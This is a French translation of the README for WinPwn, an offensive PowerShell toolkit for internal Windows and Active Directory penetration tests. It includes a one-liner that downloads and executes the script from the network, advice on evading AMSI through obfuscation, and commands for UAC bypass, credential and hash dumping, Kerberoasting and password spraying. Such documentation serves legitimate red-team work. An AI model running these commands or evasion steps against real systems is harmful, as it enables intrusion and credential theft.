
Automatisation pour les tests de pénétration Windows internes / Sécurité AD
Dans de nombreux tests de pénétration internes passés, j'avais souvent des problèmes avec les scripts PowerShell de reconnaissance/exploitation existants en raison du manque de support proxy. Je lançais aussi souvent les mêmes scripts les uns après les autres pour obtenir des informations sur le système actuel et/ou le domaine. Pour automatiser autant de processus de test de pénétration interne (reconnaissance ainsi qu'exploitation) et pour la raison du proxy, j'ai écrit mon propre script avec reconnaissance et intégration automatiques du proxy. Le script est principalement basé sur de grands projets PowerShell offensifs bien connus.
Toute suggestion, retour, Pull request et commentaire sont les bienvenus !
Importez simplement les modules avec :
Import-Module .\WinPwn.ps1 ou
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Pour contourner AMSI, utilisez l'une des techniques de contournement existantes, trouvez le déclencheur AMSI et modifiez-le manuellement dans la fonction de contournement ou encodez la chaîne du déclencheur. Sinon, obfusquez l'ensemble du script.
Si vous vous retrouvez bloqué sur un système Windows sans accès Internet - aucun problème, utilisez simplement Offline_Winpwn.ps1, les scripts et exécutables les plus importants sont inclus.
Fonctions disponibles après import :
WinPwn -> Menu pour choisir les attaques :
Inveigh -> Exécute Inveigh dans une nouvelle fenêtre de console, attaques SMB-Relay avec gestion de session (Invoke-TheHash) intégréeSessionGopher -> Exécute Sessiongopher en vous demandant des paramètresKittielocal ->Localreconmodules ->Sans paramètres, la plupart des fonctions ne peuvent être utilisées qu'à partir d'un shell interactif. J'ai donc décidé d'ajouter les paramètres -noninteractive et -consoleoutput pour rendre le script utilisable depuis un framework C2 asynchrone comme Empire, Covenant, Cobalt Strike ou autres. De plus, le paramètre -repo a été ajouté pour utiliser WinPwn avec toutes ses fonctionnalités depuis un dépôt local. Ils peuvent être utilisés comme suit :
Usage:
-noninteractive -> Aucune question pour les fonctions, elles s'exécutent avec des paramètres prédéfinis ou définis par l'utilisateur
-consoleoutput -> Les dossiers loot/report ne sont pas créés. Chaque fonction renvoie la sortie vers la console afin que vous puissiez tout voir dans les journaux de l'agent de votre framework C2
Exemples :
WinPwn -noninteractive -consoleoutput -DomainRecon -> Cela renverra chaque script et fonction de reconnaissance de domaine et vous donnera probablement beaucoup de sortie
WinPwn -noninteractive -consoleoutput -Localrecon -> Cela énumérera autant d'informations que possible pour le système local
Generalrecon -noninteractive -> Exécute les fonctions de reconnaissance locale de base et stocke la sortie dans les dossiers correspondants
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> Exécute un stager dans un processus de haute intégrité depuis une session à faibles privilèges
Kittielocal -noninteractive -consoleoutput -browsercredentials -> Dump des identifiants du navigateur via Sharpweb en renvoyant la sortie vers la console
Kittielocal -noninteractive -browsercredentials -> Dump des hashes NTLM du fichier SAM et stocke la sortie dans un fichier
WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Exécute Seatbelt, PowerUp, Watson et d'autres binaires C# en mémoire
Dotnetsearch -consoleoutput -noninteractive -> Recherche dans C:\Program Files\ et C:\Program Files (x86)\ les assemblys .NET
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> Utilise un serveur web local comme dépôt hors ligne pour utiliser WinPwn sans accès Internet
Get_WinPwn_Repo.sh:
Utilisation : ./Get_WinPwn_Repo.sh {Option}
Exemple : ./Get_WinPwn_Repo.sh --install
Options : --install Télécharger le dépôt et le placer dans ./WinPwn_Repo/ --remove Supprimer le dépôt ./WinPwn_Repo/ --reinstall Supprimer le dépôt et en télécharger un nouveau dans ./WinPwn_Repo/ --start-server Démarrer un serveur HTTP Python sur le port 8000 --help Afficher cette aide
L'utilisation de WinPwn pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou des dommages causés par ce programme. Utilisez-le uniquement à des fins éducatives.
Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder et Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> Recherche Snaffler ou Passhunt sur tous les systèmes du domaineGroupsearch -> Get-DomainGPOUserLocalGroupMapping - trouver les systèmes où vous avez un accès administrateur ou RDP via le mappage de stratégie de groupe (Powerview / Powersploit)Kerberoasting -> Exécute Invoke-Kerberoast dans une nouvelle fenêtre et stocke les hashes pour un craquage ultérieurPowerSQL -> Découverte de serveurs SQL, vérifier l'accès avec l'utilisateur actuel, auditer les identifiants par défaut + attaques d'injection de chemin UNCSharphound -> Rapport Bloodhound 3.0Adidnsmenu -> Créer ou supprimer des nœuds DNS intégrés à Active DirectoryMS17-10 -> Analyser les serveurs Windows actifs du domaine ou tous les systèmes pour la vulnérabilité MS17-10 (Eternalblue)Sharpcradle -> Charger des fichiers C# depuis un serveur Web distant en mémoireDomainPassSpray -> Attaques DomainPasswordSpray, un mot de passe pour tous les utilisateurs du domaineBluekeep -> Scanner Bluekeep pour les systèmes du domaine